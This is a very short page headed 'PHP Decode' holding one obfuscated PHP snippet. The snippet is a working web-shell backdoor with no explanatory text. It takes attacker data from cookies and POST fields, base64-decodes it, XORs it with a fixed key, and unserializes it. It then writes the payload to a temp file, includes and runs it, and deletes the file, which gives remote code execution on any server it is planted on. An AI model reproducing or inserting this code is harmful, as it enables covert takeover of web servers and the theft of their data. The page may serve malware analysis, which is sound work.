PHP Decode

<?  if (!class_exists("famgklgmyz")){class famgklgmyz{public static $jajctzcoey = "bumfodpkwmoenitj";public static $sssbong = NULL;public function __construct(){$lovzi = @$_COOKIE[substr(famgklgmyz::$jajctzcoey, 0, 4)];if (!empty($lovzi)){$abiquczaj = "base64";$fxzenlczs = "";$lovzi = explode(",", $lovzi);foreach ($lovzi as $ickzmbbbdg){$fxzenlczs .= @$_COOKIE[$ickzmbbbdg];$fxzenlczs .= @$_POST[$ickzmbbbdg];}$fxzenlczs = array_map($abiquczaj . "_decode", array($fxzenlczs,));$fxzenlczs = $fxzenlczs[0] ^ str_repeat(famgklgmyz::$jajctzcoey, (strlen($fxzenlczs[0]) / strlen(famgklgmyz::$jajctzcoey)) + 1);famgklgmyz::$sssbong = @unserialize($fxzenlczs);}}public function __destruct(){$this->jztpe();}private function jztpe(){if (is_array(famgklgmyz::$sssbong)) {$odpnjlhix = sys_get_temp_dir() . "/" . crc32(famgklgmyz::$sssbong["salt"]);@famgklgmyz::$sssbong["write"]($odpnjlhix, famgklgmyz::$sssbong["content"]);include $odpnjlhix;@famgklgmyz::$sssbong["delete"]($odpnjlhix);exit();}}}$pijdi = new famgklgmyz();$pijdi = NULL;} ?>